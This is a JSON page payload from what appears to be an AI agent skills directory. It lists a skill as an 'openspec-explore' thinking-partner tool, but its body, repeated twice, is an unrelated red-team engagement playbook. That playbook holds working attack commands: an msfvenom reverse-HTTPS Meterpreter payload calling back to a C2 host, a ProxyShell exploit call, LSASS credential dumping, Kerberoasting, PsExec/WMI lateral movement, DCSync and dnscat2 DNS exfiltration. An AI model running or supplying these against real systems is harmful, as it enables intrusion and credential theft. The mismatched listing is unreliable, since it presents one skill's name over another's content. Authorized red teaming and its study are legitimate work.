[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6BYPVK5ERA88AF7TM4YFZ5F":3,"skill-same:01M6BYPVK5ERA88AF7TM4YFZ5F":126},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":35,"linkOnly":36,"markdownContent":37,"markdownBody":38,"frontMatter":39,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":73,"repositoryHtmlUrl":74,"repositoryHomepageUrl":6,"ownerHtmlUrl":75,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":76,"install":77,"resources":90},"01M6BYPVK5ERA88AF7TM4YFZ5F","openspec-explore",null,"Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.","Vortex375\u002Fseraph","Vortex375","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F5016523?v=4","01M6BYMHA5FQE4EMD6BSZ13M46","Benjamin Schmitz","01M6BYMHEYGQ7DM3Q8A7KBNZ48",2,"MIT","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.codex\u002Fskills\u002Fopenspec-explore\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34],"openspec explore","explore","openspec","cli","change","user","use","think","thinking partner","thinking","ideas","requirements","partner","mode","for","when","2026-11-10 10:12:30",false,"---\nname: conducting-full-scope-red-team-engagement\ndescription: Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- adversary-emulation\n- mitre-attack\n- penetration-testing\n- offensive-security\n- purple-team\n- ttp-mapping\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Identifier Analysis\n- Content Format Conversion\n- Message Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1566.001\n- T1059.001\n- T1078\n- T1071.001\n---\n\n# Conducting Full-Scope Red Team Engagement\n\n## Overview\n\nA full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting full scope red team engagement\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document) signed by executive leadership\n- Defined scope including in-scope\u002Fout-of-scope systems, escalation contacts, and emergency stop procedures\n- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)\n- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment\n- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws\n\n## Engagement Phases\n\n### Phase 1: Planning and Threat Modeling\n\nMap the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:\n\n| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |\n|---|---|---|\n| Reconnaissance | TA0043 | T1593 Search Open Websites\u002FDomains, T1589 Gather Victim Identity Info |\n| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |\n| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |\n| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |\n| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |\n| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |\n| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |\n| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |\n| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |\n| Lateral Movement | TA0008 | T1021.002 SMB\u002FWindows Admin Shares, T1550.002 Pass the Hash |\n| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |\n| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |\n| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |\n\n### Phase 2: Reconnaissance (OSINT)\n\n```bash\n# Passive DNS enumeration\namass enum -passive -d target.com -o amass_passive.txt\n\n# Certificate transparency log search\npython3 -c \"\nimport requests\nurl = 'https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json'\nr = requests.get(url)\nfor cert in r.json():\n    print(cert['name_value'])\n\" | sort -u > subdomains.txt\n\n# LinkedIn employee enumeration\ntheHarvester -d target.com -b linkedin -l 500 -f harvest_results\n\n# Technology fingerprinting\nwhatweb -v target.com --log-json=whatweb.json\n\n# Breach data credential search (authorized)\nh8mail -t target.com -o h8mail_results.csv\n```\n\n### Phase 3: Initial Access\n\nCommon initial access vectors for red team engagements:\n\n**Spearphishing (T1566.001):**\n```bash\n# Generate payload with macro\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba\n\n# Set up GoPhish campaign\n# Configure SMTP profile, email template with pretexted lure, and landing page\ngophish --config config.json\n```\n\n**External Service Exploitation (T1190):**\n```bash\n# Scan for vulnerable services\nnmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan\n\n# Exploit known CVE (example: ProxyShell CVE-2021-34473)\npython3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com\n```\n\n### Phase 4: Post-Exploitation and Lateral Movement\n\n```powershell\n# Situational awareness (T1082, T1016)\nwhoami \u002Fall\nsysteminfo\nipconfig \u002Fall\nnet group \"Domain Admins\" \u002Fdomain\nnltest \u002Fdclist:target.com\n\n# Credential harvesting from LSASS (T1003.001)\n# Using Havoc C2 built-in module\ndotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords\n\n# Kerberoasting (T1558.003)\nRubeus.exe kerberoast \u002Foutfile:kerberoast_hashes.txt\n\n# Lateral movement via WMI (T1047)\nwmiexec.py domain\u002Fuser:password@target-dc -c \"whoami\"\n\n# Lateral movement via PsExec (T1021.002)\npsexec.py domain\u002Fadmin:password@fileserver.target.com\n```\n\n### Phase 5: Objective Achievement\n\nDefine and pursue specific objectives:\n\n1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials\n2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)\n3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)\n4. **Physical Access**: Badge cloning, tailgating, server room access\n\n```bash\n# DCSync attack (T1003.006)\nsecretsdump.py domain\u002Fadmin:password@dc01.target.com -just-dc-ntlm\n\n# Exfiltration over DNS (T1048.003)\ndnscat2 --dns \"domain=exfil.redteam.com\" --secret=s3cr3t\n```\n\n### Phase 6: Reporting and Debrief\n\nThe report should include:\n\n1. **Executive Summary**: Business impact, risk rating, key findings\n2. **Attack Narrative**: Timeline of activities with screenshots and evidence\n3. **MITRE ATT&CK Mapping**: Full heat map of techniques used\n4. **Findings**: Each finding with CVSS score, evidence, remediation\n5. **Detection Gap Analysis**: What the SOC detected vs. what was missed\n6. **Purple Team Recommendations**: Specific detection rules for gaps identified\n\n## Metrics and KPIs\n\n| Metric | Description |\n|---|---|\n| Mean Time to Detect (MTTD) | Average time from action to SOC detection |\n| Mean Time to Respond (MTTR) | Average time from detection to containment |\n| TTP Coverage | Percentage of executed techniques detected |\n| Objective Achievement Rate | Percentage of defined objectives completed |\n| Dwell Time | Total time red team maintained access undetected |\n\n## Tools and Frameworks\n\n- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4\n- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot\n- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus\n- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET\n- **Reporting**: PlexTrac, Ghostwriter, Serpico\n\n## References\n\n- MITRE ATT&CK Framework: https:\u002F\u002Fattack.mitre.org\u002F\n- Red Team Guide: https:\u002F\u002Fredteam.guide\u002F\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- TIBER-EU Framework for Red Teaming: https:\u002F\u002Fwww.ecb.europa.eu\u002Fpaym\u002Fcyber-resilience\u002Ftiber-eu\u002F\n- CBEST Intelligence-Led Testing: https:\u002F\u002Fwww.bankofengland.co.uk\u002Ffinancial-stability\u002Ffinancial-sector-continuity\n","# Conducting Full-Scope Red Team Engagement\n\n## Overview\n\nA full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting full scope red team engagement\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document) signed by executive leadership\n- Defined scope including in-scope\u002Fout-of-scope systems, escalation contacts, and emergency stop procedures\n- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)\n- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment\n- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws\n\n## Engagement Phases\n\n### Phase 1: Planning and Threat Modeling\n\nMap the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:\n\n| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |\n|---|---|---|\n| Reconnaissance | TA0043 | T1593 Search Open Websites\u002FDomains, T1589 Gather Victim Identity Info |\n| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |\n| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |\n| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |\n| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |\n| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |\n| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |\n| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |\n| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |\n| Lateral Movement | TA0008 | T1021.002 SMB\u002FWindows Admin Shares, T1550.002 Pass the Hash |\n| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |\n| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |\n| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |\n\n### Phase 2: Reconnaissance (OSINT)\n\n```bash\n# Passive DNS enumeration\namass enum -passive -d target.com -o amass_passive.txt\n\n# Certificate transparency log search\npython3 -c \"\nimport requests\nurl = 'https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json'\nr = requests.get(url)\nfor cert in r.json():\n    print(cert['name_value'])\n\" | sort -u > subdomains.txt\n\n# LinkedIn employee enumeration\ntheHarvester -d target.com -b linkedin -l 500 -f harvest_results\n\n# Technology fingerprinting\nwhatweb -v target.com --log-json=whatweb.json\n\n# Breach data credential search (authorized)\nh8mail -t target.com -o h8mail_results.csv\n```\n\n### Phase 3: Initial Access\n\nCommon initial access vectors for red team engagements:\n\n**Spearphishing (T1566.001):**\n```bash\n# Generate payload with macro\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba\n\n# Set up GoPhish campaign\n# Configure SMTP profile, email template with pretexted lure, and landing page\ngophish --config config.json\n```\n\n**External Service Exploitation (T1190):**\n```bash\n# Scan for vulnerable services\nnmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan\n\n# Exploit known CVE (example: ProxyShell CVE-2021-34473)\npython3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com\n```\n\n### Phase 4: Post-Exploitation and Lateral Movement\n\n```powershell\n# Situational awareness (T1082, T1016)\nwhoami \u002Fall\nsysteminfo\nipconfig \u002Fall\nnet group \"Domain Admins\" \u002Fdomain\nnltest \u002Fdclist:target.com\n\n# Credential harvesting from LSASS (T1003.001)\n# Using Havoc C2 built-in module\ndotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords\n\n# Kerberoasting (T1558.003)\nRubeus.exe kerberoast \u002Foutfile:kerberoast_hashes.txt\n\n# Lateral movement via WMI (T1047)\nwmiexec.py domain\u002Fuser:password@target-dc -c \"whoami\"\n\n# Lateral movement via PsExec (T1021.002)\npsexec.py domain\u002Fadmin:password@fileserver.target.com\n```\n\n### Phase 5: Objective Achievement\n\nDefine and pursue specific objectives:\n\n1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials\n2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)\n3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)\n4. **Physical Access**: Badge cloning, tailgating, server room access\n\n```bash\n# DCSync attack (T1003.006)\nsecretsdump.py domain\u002Fadmin:password@dc01.target.com -just-dc-ntlm\n\n# Exfiltration over DNS (T1048.003)\ndnscat2 --dns \"domain=exfil.redteam.com\" --secret=s3cr3t\n```\n\n### Phase 6: Reporting and Debrief\n\nThe report should include:\n\n1. **Executive Summary**: Business impact, risk rating, key findings\n2. **Attack Narrative**: Timeline of activities with screenshots and evidence\n3. **MITRE ATT&CK Mapping**: Full heat map of techniques used\n4. **Findings**: Each finding with CVSS score, evidence, remediation\n5. **Detection Gap Analysis**: What the SOC detected vs. what was missed\n6. **Purple Team Recommendations**: Specific detection rules for gaps identified\n\n## Metrics and KPIs\n\n| Metric | Description |\n|---|---|\n| Mean Time to Detect (MTTD) | Average time from action to SOC detection |\n| Mean Time to Respond (MTTR) | Average time from detection to containment |\n| TTP Coverage | Percentage of executed techniques detected |\n| Objective Achievement Rate | Percentage of defined objectives completed |\n| Dwell Time | Total time red team maintained access undetected |\n\n## Tools and Frameworks\n\n- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4\n- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot\n- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus\n- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET\n- **Reporting**: PlexTrac, Ghostwriter, Serpico\n\n## References\n\n- MITRE ATT&CK Framework: https:\u002F\u002Fattack.mitre.org\u002F\n- Red Team Guide: https:\u002F\u002Fredteam.guide\u002F\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- TIBER-EU Framework for Red Teaming: https:\u002F\u002Fwww.ecb.europa.eu\u002Fpaym\u002Fcyber-resilience\u002Ftiber-eu\u002F\n- CBEST Intelligence-Led Testing: https:\u002F\u002Fwww.bankofengland.co.uk\u002Ffinancial-stability\u002Ffinancial-sector-continuity\n",{"name":40,"tags":41,"author":49,"domain":50,"license":51,"version":52,"nist_csf":53,"subdomain":57,"description":58,"mitre_attack":59,"d3fend_techniques":64},"conducting-full-scope-red-team-engagement",[42,43,44,45,46,47,48],"red-team","adversary-emulation","mitre-attack","penetration-testing","offensive-security","purple-team","ttp-mapping","mahipal","cybersecurity","Apache-2.0","1.0",[54,55,56],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming","Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.",[60,61,62,63],"T1566.001","T1059.001","T1078","T1071.001",[65,66,67,68,69],"File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57",".codex\u002Fskills\u002Fopenspec-explore",0,"https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph","https:\u002F\u002Fgithub.com\u002FVortex375","2026-11-08 18:46:14",{"source":8,"skillName":40,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add Vortex375\u002Fseraph --skill conducting-full-scope-red-team-engagement",{"tool":83,"command":84},"bunx","bunx skills add Vortex375\u002Fseraph --skill conducting-full-scope-red-team-engagement",{"tool":86,"command":87},"pnpm","pnpm dlx skills add Vortex375\u002Fseraph --skill conducting-full-scope-red-team-engagement","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002F.codex\u002Fskills\u002Fopenspec-explore\u002FSKILL.md",true,[91,97,102,108,112,116,122],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"assets\u002Ftemplate.md","ASSET","资产文件",6997,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Fassets\u002Ftemplate.md",{"path":98,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002FLICENSE",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md","REFERENCE","参考文档",1815,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":110,"sourceHtmlUrl":111},"references\u002Fstandards.md",4411,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Freferences\u002Fstandards.md",{"path":113,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":114,"sourceHtmlUrl":115},"references\u002Fworkflows.md",8612,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Freferences\u002Fworkflows.md",{"path":117,"resourceType":118,"resourceTypeDesc":119,"sizeBytes":120,"sourceHtmlUrl":121},"scripts\u002Fagent.py","SCRIPT","脚本",6195,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Fscripts\u002Fagent.py",{"path":123,"resourceType":118,"resourceTypeDesc":119,"sizeBytes":124,"sourceHtmlUrl":125},"scripts\u002Fprocess.py",21324,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-full-scope-red-team-engagement\u002Fscripts\u002Fprocess.py",[127,149,174,199,215,234],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":144,"publishedAt":35},"01M6BYS1QVW7F887EXS5RR34TA","writing-for-agents","Writing documents for agents. Use when creating or editing skills, or modifying AGENTS.md or CLAUDE.md.","AGPL-3.0","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Fwriting-for-agents\u002FSKILL.md",[134,139],{"categoryNo":135,"categoryName":136,"taxonomyType":137,"taxonomyTypeDesc":138},"01JBSEEDCAT000000000000018","写作与文案","SCENARIO","使用场景",{"categoryNo":140,"categoryName":141,"taxonomyType":142,"taxonomyTypeDesc":143},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[145,33,146,34,25,147,148],"writing","writing for agents","editing","documents",{"skillNo":150,"name":151,"nameZh":6,"description":152,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":155,"publishedAt":35},"01M6BYRZNREK0C7V6Y43AKDJWW","wizard","Generate an interactive bash wizard that walks a human through steps only they can perform. Use when provisioning infrastructure, setting up credentials or CI secrets, walking an unfamiliar third-party dashboard, or running a one-off migration or cutover. Don't invoke this for steps the agent can perform itself.","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Fwizard\u002FSKILL.md",[],[151,156,157,158,159,160,161,162,34,163,164,33,165,166,167,168,169,170,25,171,172,173],"provisioning","ci","generate","infrastructure","dashboard","can","running","invoke","party","credentials","human","provisioning infrastructure","migration","up","only","interactive","Bash","secrets",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":180,"publishedAt":35},"01M6BYRY92S448X31PTG25TCJC","wayfinder","Plan a huge chunk of work (more than one agent session can hold) as a shared map of decision tickets on your issue tracker, and resolve them one at a time until the way to the destination is clear.","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Fwayfinder\u002FSKILL.md",[],[176,181,182,183,161,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198],"at","map","agent session","time","true","shared","more","tickets","as","clear","issue","session","one at a time","work","decision","plan","chunk","tracker",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":205,"publishedAt":35},"01M6BYRWXMYWB6PD7E9PAD44M4","wait-what","Stop. That last message did not land: re-pitch it.","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Fwait-what\u002FSKILL.md",[],[206,207,208,185,209,210,211,212,213,214],"wait what","wait","re","last","it","pitch","message","stop","land",{"skillNo":216,"name":217,"nameZh":6,"description":218,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":219,"categories":220,"keywords":221,"publishedAt":35},"01M6BYRTS6JNDYB7BZVAWK7JJ9","triage","Move issues and external PRs through a state machine of triage roles, categorise, verify, grill if needed, and write agent-ready briefs.","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Ftriage\u002FSKILL.md",[],[217,222,223,224,225,226,227,228,229,230,231,232,185,233],"machine","roles","grill","ready","write","verify","issues","state","move","prs","state machine","briefs",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":240,"publishedAt":35},"01M6BYRRRCDHNXH2YBDTYJPG36","to-tickets","Break a plan, spec, or the current conversation into a set of tracer-bullet tickets, each declaring its blocking edges, published to the configured tracker (edges as text in one file per ticket locally, or native blocking links on a real tracker).","https:\u002F\u002Fgithub.com\u002FVortex375\u002Fseraph\u002Fblob\u002Fmain\u002Fapp\u002Fseraph_app\u002F.agents\u002Fskills\u002Fto-tickets\u002FSKILL.md",[],[241,188,242,243,244,185,245,246,189,247,198,248,196,249,250],"to tickets","spec","links","break","native","ticket","conversation","text","SET","file"]